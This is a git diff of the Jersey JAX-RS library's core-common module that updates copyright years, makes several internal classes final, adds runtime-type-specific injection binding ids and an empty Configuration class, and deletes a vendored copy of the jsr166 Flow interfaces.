diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/Errors.java b/core-common/src/main/java/org/glassfish/jersey/internal/Errors.java
index 44fad3c..b72e23d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/Errors.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/Errors.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -40,7 +40,7 @@
  *
  * @author Michal Gajdos
  */
-public class Errors {
+public final class Errors {
 
     private static final Logger LOGGER = Logger.getLogger(Errors.class.getName());
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
index 55e5a68..8015a50 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -30,12 +30,13 @@
 
 import jakarta.ws.rs.Priorities;
 import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.ext.ExceptionMapper;
 
-import org.glassfish.jersey.JerseyPriorities;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -56,7 +57,7 @@
  * @author Marek Potociar
  * @author Jakub Podlesak
  */
-public class ExceptionMapperFactory implements ExceptionMappers {
+public final class ExceptionMapperFactory implements ExceptionMappers {
 
     private static final Logger LOGGER = Logger.getLogger(ExceptionMapperFactory.class.getName());
 
@@ -73,9 +74,11 @@
         @Override
         public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
             exceptionMapperFactory = new ExceptionMapperFactory(injectionManager);
-            InstanceBinding<ExceptionMapperFactory> binding =
+            Binding<ExceptionMapperFactory, ?> binding =
                     Bindings.service(exceptionMapperFactory)
-                            .to(ExceptionMappers.class);
+                            .to(ExceptionMappers.class)
+                            .forClient(bootstrapBag.getConfiguration().getRuntimeType() == RuntimeType.CLIENT)
+                            .id(InjectionIds.COMMON_EXCEPTION_MAPPERS.id());
             injectionManager.register(binding);
         }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/FeatureConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/FeatureConfigurator.java
index 2b0acbd..56e4aec 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/FeatureConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/FeatureConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,7 +35,7 @@
  * in the list of configurators due to same list of {@link org.glassfish.jersey.internal.spi.AutoDiscoverable}
  * used in the {@link BootstrapBag} to register discovered features.
  */
-public class FeatureConfigurator extends AbstractFeatureConfigurator<Feature> {
+public final class FeatureConfigurator extends AbstractFeatureConfigurator<Feature> {
 
     public FeatureConfigurator(RuntimeType runtimeType) {
         super(Feature.class, runtimeType);
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/InternalProperties.java b/core-common/src/main/java/org/glassfish/jersey/internal/InternalProperties.java
index 75f85ed..44fb67a 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/InternalProperties.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/InternalProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
  * @author Michal Gajdos
  */
 @PropertiesClass
-public class InternalProperties {
+public final class InternalProperties {
 
     /**
      * This property should be set by configured JSON feature to indicate that other (registered but not configured) JSON features
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java b/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java
index fa075fb..bebe2a9 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,6 +19,7 @@
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.ext.ContextResolver;
@@ -30,7 +31,8 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Provider;
 
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.PerLookup;
 import org.glassfish.jersey.message.MessageBodyWorkers;
@@ -42,7 +44,7 @@
  *
  * @author Marek Potociar
  */
-public class JaxrsProviders implements Providers {
+public final class JaxrsProviders implements Providers {
 
     /**
      * Configurator which initializes and registers {@link Providers} instance into {@link InjectionManager} and
@@ -59,7 +61,10 @@
             injectionManager.register(
                     Bindings.service(JaxrsProviders.class)
                             .to(Providers.class)
-                            .in(PerLookup.class));
+                            .in(PerLookup.class)
+                            .id(injectionManager.getRuntimeType() == RuntimeType.CLIENT
+                                    ? InjectionIds.COMMON_PROVIDERS_CLIENT.id()
+                                    : InjectionIds.COMMON_PROVIDERS_SERVER.id()));
         }
     }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
index db16be8..ce3aa43 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,14 +16,13 @@
 
 package org.glassfish.jersey.internal;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
-import jakarta.ws.rs.core.EntityPart;
 import jakarta.ws.rs.ext.RuntimeDelegate;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 
-import java.util.Optional;
 import java.util.concurrent.CompletionStage;
 
 /**
@@ -40,7 +39,7 @@
 public class RuntimeDelegateImpl extends AbstractRuntimeDelegate {
 
     public RuntimeDelegateImpl() {
-        super(new MessagingBinders.HeaderDelegateProviders().getHeaderDelegateProviders());
+        super(new MessagingBinders.HeaderDelegateProviders(RuntimeType.CLIENT).getHeaderDelegateProviders());
     }
 
     @Override
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
index a42a860..fbfc42e 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/config/JerseySystemPropertiesConfigurationModel.java
@@ -28,7 +28,6 @@
             "org.glassfish.jersey.client.ClientProperties",
             "org.glassfish.jersey.servlet.ServletProperties",
             "org.glassfish.jersey.message.MessageProperties",
-            "org.glassfish.jersey.apache.connector.ApacheClientProperties",
             "org.glassfish.jersey.apache5.connector.Apache5ClientProperties",
             "org.glassfish.jersey.helidon.connector.HelidonClientProperties",
             "org.glassfish.jersey.jdk.connector.JdkConnectorProperties",
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Binding.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Binding.java
index 69a534a..af7064d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Binding.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Binding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,16 +16,16 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import jakarta.inject.Named;
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.Beta;
+
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.Collection;
 import java.util.HashSet;
 import java.util.Set;
 
-import jakarta.ws.rs.core.GenericType;
-
-import jakarta.inject.Named;
-
 /**
  * Abstract injection binding description of a bean.
  *
@@ -260,8 +260,9 @@
      *
      * @return current instance.
      */
-    public void ranked(int rank) {
+    public D ranked(int rank) {
         this.ranked = rank;
+        return (D) this;
     }
 
     /**
@@ -269,7 +270,7 @@
      *
      * @return current instance.
      */
-    D asType(Class type) {
+    public D asType(Class type) {
         this.implementationType = type;
         return (D) this;
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java
index 4d5fd1c..f80e7b8 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,9 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import org.glassfish.jersey.Beta;
+
+import jakarta.ws.rs.RuntimeType;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.List;
@@ -62,10 +65,7 @@
      * represented by a class or direct instance.
      *
      * @param binding one descriptor.
-     * @see ClassBinding
-     * @see InstanceBinding
-     * @see SupplierClassBinding
-     * @see SupplierInstanceBinding
+     * @see Binding
      */
     void register(Binding binding);
 
@@ -75,24 +75,18 @@
      * register a bean represented by a class or direct instance.
      *
      * @param descriptors collection of descriptors.
-     * @see ClassBinding
-     * @see InstanceBinding
-     * @see SupplierClassBinding
-     * @see SupplierInstanceBinding
+     * @see Binding
      */
     void register(Iterable<Binding> descriptors);
 
     /**
-     * Registers beans which are included in {@link Binder}. {@code Binder} can contains all descriptors extending
+     * Registers beans which are included in {@link Binder}. {@code Binder} can contain all descriptors extending
      * {@link Binding} or other binders which are installed together in tree-structure. This method will get all descriptors
      * bound in the given binder and register them in the order how the binders are installed together. In the tree structure,
      * the deeper on the left side will be processed first.
      *
      * @param binder collection of descriptors.
-     * @see ClassBinding
-     * @see InstanceBinding
-     * @see SupplierClassBinding
-     * @see SupplierInstanceBinding
+     * @see Binding
      */
     void register(Binder binder);
 
@@ -257,4 +251,13 @@
      * @param preDestroyMe The object to preDestroy
      */
     void preDestroy(Object preDestroyMe);
+
+    /**
+     * Get RuntimeType of the InjectionManager.
+     * @return the runtimeType
+     */
+    @Beta
+    default RuntimeType getRuntimeType() {
+        return null;
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManagerFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManagerFactory.java
index 2a74b37..41e3dca 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManagerFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,8 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import jakarta.ws.rs.core.Configuration;
+
 /**
  * Factory which is able to create {@link InjectionManager}. Every DI provider must create its own {@link InjectionManagerFactory}
  * and register it in META-INF.services. Then the {@code InjectionManagerFactory} can be looked up and {@code InjectionManager}
@@ -39,4 +41,13 @@
      * @return initialized injection manager.
      */
     InjectionManager create(Object parent);
+
+    /**
+     * Load a new injection manager with parent object for a given RuntimeType.
+     *
+     * @param configuration the configuration including RuntimeType of the InjectionManager used.
+     * @param parent injection manager parent or concrete DI specific object which is compatible with DI provider.
+     * @return initialized injection manager.
+     */
+    InjectionManager create(Object parent, Configuration configuration);
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolver.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolver.java
index 2509664..5719a07 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolver.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/InjectionResolver.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,10 +25,10 @@
  * <p>
  * Jersey provides all {@code InjectionResolvers} for JAX-RS annotation and {@code org.glassfish.jersey.server.Uri} apart from
  * {@link jakarta.ws.rs.core.Context} which must be implemented and registered directly as a part of DI integration because of
- * many optimization which cannot be implemented on Jersey side.
+ * much optimization which cannot be implemented on Jersey side.
  * <p>
  * The {@code InjectionResolvers} are delivered to DI integration using {@link InjectionManager#register(Binder)} and DI provider
- * just filter {@link InjectionResolverBinding} and internally register the annotation handling using its own mechanism.
+ * just filter {@code InjectionResolverBinding} and internally register the annotation handling using its own mechanism.
  *
  * @param <T> This must be the annotation class of the injection annotation that this resolver will handle.
  */
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Injections.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Injections.java
index 1750dd8..ac5f012 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Injections.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Injections.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,13 +16,20 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import java.util.Collection;
+import java.util.Collections;
 import java.util.LinkedList;
 import java.util.List;
+import java.util.Map;
 import java.util.Optional;
+import java.util.Set;
 
 import jakarta.ws.rs.ConstrainedTo;
 import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.Feature;
+
 
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.ServiceFinder;
@@ -43,7 +50,7 @@
      * @return an injection manager with all the bindings.
      */
     public static InjectionManager createInjectionManager() {
-        return lookupInjectionManagerFactory(RuntimeType.SERVER).create();
+        return createInjectionManager(new EmptyConfiguration(RuntimeType.SERVER));
     }
 
     /**
@@ -53,7 +60,17 @@
      * @return an injection manager with all the bindings.
      */
     public static InjectionManager createInjectionManager(RuntimeType type) {
-        return lookupInjectionManagerFactory(type).create();
+        return createInjectionManager(new EmptyConfiguration(type));
+    }
+
+    /**
+     * Creates an {@link InjectionManager} without parent and initial binder.
+     * @param configuration {@link Configuration} including {@link RuntimeType} the {@link InjectionManagerFactory}
+     *                      must be {@link ConstrainedTo} if annotated.
+     * @return an injection manager with all the bindings.
+     */
+    public static InjectionManager createInjectionManager(Configuration configuration) {
+        return lookupInjectionManagerFactory(configuration.getRuntimeType()).create(null, configuration);
     }
 
     /**
@@ -63,8 +80,7 @@
      * @return an injection manager with all the bindings.
      */
     public static InjectionManager createInjectionManager(Binder binder) {
-        InjectionManagerFactory injectionManagerFactory = lookupInjectionManagerFactory(RuntimeType.SERVER);
-        InjectionManager injectionManager = injectionManagerFactory.create();
+        InjectionManager injectionManager = createInjectionManager(RuntimeType.SERVER);
         injectionManager.register(binder);
         return injectionManager;
     }
@@ -78,7 +94,21 @@
      * @return an injection manager with all the bindings.
      */
     public static InjectionManager createInjectionManager(Object parent) {
-        return lookupInjectionManagerFactory(RuntimeType.SERVER).create(parent);
+        return createInjectionManager(parent, new EmptyConfiguration(RuntimeType.SERVER));
+    }
+
+    /**
+     * Creates an unnamed, parented {@link InjectionManager}. In case the {@code parent} injection manager is not specified, the
+     * locator will not be parented.
+     *
+     * @param parent The parent of this injection manager. Services can be found in the parent (and all grand-parents). May be
+     *               {@code null}. An underlying DI provider checks whether the parent is in a proper type.
+     * @param configuration {@link Configuration} including {@link RuntimeType} the {@link InjectionManagerFactory}
+     *                      must be {@link ConstrainedTo} if annotated.
+     * @return an injection manager with all the bindings.
+     */
+    public static InjectionManager createInjectionManager(Object parent, Configuration configuration) {
+        return lookupInjectionManagerFactory(configuration.getRuntimeType()).create(parent, configuration);
     }
 
     private static InjectionManagerFactory lookupInjectionManagerFactory(RuntimeType type) {
@@ -136,4 +166,68 @@
             throw e;
         }
     }
+
+    private static final class EmptyConfiguration implements Configuration {
+
+        private final RuntimeType runtimeType;
+
+        private EmptyConfiguration(RuntimeType runtimeType) {
+            this.runtimeType = runtimeType;
+        }
+
+        @Override
+        public RuntimeType getRuntimeType() {
+            return runtimeType;
+        }
+
+        @Override
+        public Map<String, Object> getProperties() {
+            return Collections.emptyMap();
+        }
+
+        @Override
+        public Object getProperty(String name) {
+            return getProperties().get(name);
+        }
+
+        @Override
+        public Collection<String> getPropertyNames() {
+            return getProperties().keySet();
+        }
+
+        @Override
+        public boolean isEnabled(Feature feature) {
+            return false;
+        }
+
+        @Override
+        public boolean isEnabled(Class<? extends Feature> featureClass) {
+            return false;
+        }
+
+        @Override
+        public boolean isRegistered(Object component) {
+            return false;
+        }
+
+        @Override
+        public boolean isRegistered(Class<?> componentClass) {
+            return false;
+        }
+
+        @Override
+        public Map<Class<?>, Integer> getContracts(Class<?> componentClass) {
+            return Collections.emptyMap();
+        }
+
+        @Override
+        public Set<Class<?>> getClasses() {
+            return Collections.emptySet();
+        }
+
+        @Override
+        public Set<Object> getInstances() {
+            return Collections.emptySet();
+        }
+    }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java
index f10976a..8c171cd 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverterConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -17,8 +17,11 @@
 
 package org.glassfish.jersey.internal.inject;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.ext.ParamConverterProvider;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 
@@ -31,9 +34,12 @@
 
     @Override
     public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
-        final ClassBinding<ParamConverters.AggregatedProvider> aggregatedConverters =
+        long id = injectionManager.getRuntimeType() == RuntimeType.CLIENT
+                ? InjectionIds.CLIENT_AGGREGATED_PROVIDER.id()
+                : InjectionIds.SERVER_AGGREGATED_PROVIDER.id();
+        final Binding aggregatedConverters =
                 Bindings.service(ParamConverters.AggregatedProvider.class)
-                    .to(ParamConverterProvider.class);
+                    .to(ParamConverterProvider.class).id(id);
         injectionManager.register(aggregatedConverters);
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java
deleted file mode 100644
index bcb90c8..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/Flow.java
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Written by Doug Lea with assistance from members of JCP JSR-166
- * Expert Group and released to the public domain, as explained at
- * http://creativecommons.org/publicdomain/zero/1.0/
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-/**
- * Interrelated interfaces and static methods for establishing
- * flow-controlled components in which {@link Publisher Publishers}
- * produce items consumed by one or more {@link Subscriber
- * Subscribers}, each managed by a {@link Subscription
- * Subscription}.
- *
- * <p>These interfaces correspond to the <a
- * href="http://www.reactive-streams.org/"> reactive-streams</a>
- * specification.  They apply in both concurrent and distributed
- * asynchronous settings: All (seven) methods are defined in {@code
- * void} "one-way" message style. Communication relies on a simple form
- * of flow control (method {@link Subscription#request}) that can be
- * used to avoid resource management problems that may otherwise occur
- * in "push" based systems.
- *
- * <p><b>Examples.</b> A {@link Publisher} usually defines its own
- * {@link Subscription} implementation; constructing one in method
- * {@code subscribe} and issuing it to the calling {@link
- * Subscriber}. It publishes items to the subscriber asynchronously,
- * normally using an {@link java.util.concurrent.Executor}.  For example, here is a very
- * simple publisher that only issues (when requested) a single {@code
- * TRUE} item to a single subscriber.  Because the subscriber receives
- * only a single item, this class does not use buffering and ordering
- * control required in most implementations (for example {@link
- * SubmissionPublisher}).
- *
- * <pre> {@code
- * class OneShotPublisher implements Publisher<Boolean> {
- *   private final ExecutorService executor = ForkJoinPool.commonPool(); // daemon-based
- *   private boolean subscribed; // true after first subscribe
- *   public synchronized void subscribe(Subscriber<? super Boolean> subscriber) {
- *     if (subscribed)
- *        subscriber.onError(new IllegalStateException()); // only one allowed
- *     else {
- *       subscribed = true;
- *       subscriber.onSubscribe(new OneShotSubscription(subscriber, executor));
- *     }
- *   }
- *   static class OneShotSubscription implements Subscription {
- *     private final Subscriber<? super Boolean> subscriber;
- *     private final ExecutorService executor;
- *     private Future<?> future; // to allow cancellation
- *     private boolean completed;
- *     OneShotSubscription(Subscriber<? super Boolean> subscriber,
- *                         ExecutorService executor) {
- *       this.subscriber = subscriber;
- *       this.executor = executor;
- *     }
- *     public synchronized void request(long n) {
- *       if (n != 0 && !completed) {
- *         completed = true;
- *         if (n < 0) {
- *           IllegalArgumentException ex = new IllegalArgumentException();
- *           executor.execute(() -> subscriber.onError(ex));
- *         } else {
- *           future = executor.submit(() -> {
- *             subscriber.onNext(Boolean.TRUE);
- *             subscriber.onComplete();
- *           });
- *         }
- *       }
- *     }
- *     public synchronized void cancel() {
- *       completed = true;
- *       if (future != null) future.cancel(false);
- *     }
- *   }
- * }}</pre>
- *
- * <p>A {@link Subscriber} arranges that items be requested and
- * processed.  Items (invocations of {@link Subscriber#onNext}) are
- * not issued unless requested, but multiple items may be requested.
- * Many Subscriber implementations can arrange this in the style of
- * the following example, where a buffer size of 1 single-steps, and
- * larger sizes usually allow for more efficient overlapped processing
- * with less communication; for example with a value of 64, this keeps
- * total outstanding requests between 32 and 64.
- * Because Subscriber method invocations for a given {@link
- * Subscription} are strictly ordered, there is no need for these
- * methods to use locks or volatiles unless a Subscriber maintains
- * multiple Subscriptions (in which case it is better to instead
- * define multiple Subscribers, each with its own Subscription).
- *
- * <pre> {@code
- * class SampleSubscriber<T> implements Subscriber<T> {
- *   final Consumer<? super T> consumer;
- *   Subscription subscription;
- *   final long bufferSize;
- *   long count;
- *   SampleSubscriber(long bufferSize, Consumer<? super T> consumer) {
- *     this.bufferSize = bufferSize;
- *     this.consumer = consumer;
- *   }
- *   public void onSubscribe(Subscription subscription) {
- *     long initialRequestSize = bufferSize;
- *     count = bufferSize - bufferSize / 2; // re-request when half consumed
- *     (this.subscription = subscription).request(initialRequestSize);
- *   }
- *   public void onNext(T item) {
- *     if (--count <= 0)
- *       subscription.request(count = bufferSize - bufferSize / 2);
- *     consumer.accept(item);
- *   }
- *   public void onError(Throwable ex) { ex.printStackTrace(); }
- *   public void onComplete() {}
- * }}</pre>
- *
- * <p>The default value of {@link #defaultBufferSize} may provide a
- * useful starting point for choosing request sizes and capacities in
- * Flow components based on expected rates, resources, and usages.
- * Or, when flow control is never needed, a subscriber may initially
- * request an effectively unbounded number of items, as in:
- *
- * <pre> {@code
- * class UnboundedSubscriber<T> implements Subscriber<T> {
- *   public void onSubscribe(Subscription subscription) {
- *     subscription.request(Long.MAX_VALUE); // effectively unbounded
- *   }
- *   public void onNext(T item) { use(item); }
- *   public void onError(Throwable ex) { ex.printStackTrace(); }
- *   public void onComplete() {}
- *   void use(T item) { ... }
- * }}</pre>
- *
- * @author Doug Lea
- * @since 9
- */
-public final class Flow {
-
-    private Flow() {} // uninstantiable
-
-    /**
-     * A producer of items (and related control messages) received by
-     * Subscribers.  Each current {@link Subscriber} receives the same
-     * items (via method {@code onNext}) in the same order, unless
-     * drops or errors are encountered. If a Publisher encounters an
-     * error that does not allow items to be issued to a Subscriber,
-     * that Subscriber receives {@code onError}, and then receives no
-     * further messages.  Otherwise, when it is known that no further
-     * messages will be issued to it, a subscriber receives {@code
-     * onComplete}.  Publishers ensure that Subscriber method
-     * invocations for each subscription are strictly ordered in <a
-     * href="package-summary.html#MemoryVisibility"><i>happens-before</i></a>
-     * order.
-     *
-     * <p>Publishers may vary in policy about whether drops (failures
-     * to issue an item because of resource limitations) are treated
-     * as unrecoverable errors.  Publishers may also vary about
-     * whether Subscribers receive items that were produced or
-     * available before they subscribed.
-     *
-     * @param <T> the published item type
-     */
-    @FunctionalInterface
-    public static interface Publisher<T> {
-        /**
-         * Adds the given Subscriber if possible.  If already
-         * subscribed, or the attempt to subscribe fails due to policy
-         * violations or errors, the Subscriber's {@code onError}
-         * method is invoked with an {@link IllegalStateException}.
-         * Otherwise, the Subscriber's {@code onSubscribe} method is
-         * invoked with a new {@link Subscription}.  Subscribers may
-         * enable receiving items by invoking the {@code request}
-         * method of this Subscription, and may unsubscribe by
-         * invoking its {@code cancel} method.
-         *
-         * @param subscriber the subscriber
-         * @throws NullPointerException if subscriber is null
-         */
-        public void subscribe(Subscriber<? super T> subscriber);
-    }
-
-    /**
-     * A receiver of messages.  The methods in this interface are
-     * invoked in strict sequential order for each {@link
-     * Subscription}.
-     *
-     * @param <T> the subscribed item type
-     */
-    public static interface Subscriber<T> {
-        /**
-         * Method invoked prior to invoking any other Subscriber
-         * methods for the given Subscription. If this method throws
-         * an exception, resulting behavior is not guaranteed, but may
-         * cause the Subscription not to be established or to be cancelled.
-         *
-         * <p>Typically, implementations of this method invoke {@code
-         * subscription.request} to enable receiving items.
-         *
-         * @param subscription a new subscription
-         */
-        public void onSubscribe(Subscription subscription);
-
-        /**
-         * Method invoked with a Subscription's next item.  If this
-         * method throws an exception, resulting behavior is not
-         * guaranteed, but may cause the Subscription to be cancelled.
-         *
-         * @param item the item
-         */
-        public void onNext(T item);
-
-        /**
-         * Method invoked upon an unrecoverable error encountered by a
-         * Publisher or Subscription, after which no other Subscriber
-         * methods are invoked by the Subscription.  If this method
-         * itself throws an exception, resulting behavior is
-         * undefined.
-         *
-         * @param throwable the exception
-         */
-        public void onError(Throwable throwable);
-
-        /**
-         * Method invoked when it is known that no additional
-         * Subscriber method invocations will occur for a Subscription
-         * that is not already terminated by error, after which no
-         * other Subscriber methods are invoked by the Subscription.
-         * If this method throws an exception, resulting behavior is
-         * undefined.
-         */
-        public void onComplete();
-    }
-
-    /**
-     * Message control linking a {@link Publisher} and {@link
-     * Subscriber}.  Subscribers receive items only when requested,
-     * and may cancel at any time. The methods in this interface are
-     * intended to be invoked only by their Subscribers; usages in
-     * other contexts have undefined effects.
-     */
-    public static interface Subscription {
-        /**
-         * Adds the given number {@code n} of items to the current
-         * unfulfilled demand for this subscription.  If {@code n} is
-         * negative, the Subscriber will receive an {@code onError}
-         * signal with an {@link IllegalArgumentException} argument.
-         * Otherwise, the Subscriber will receive up to {@code n}
-         * additional {@code onNext} invocations (or fewer if
-         * terminated).
-         *
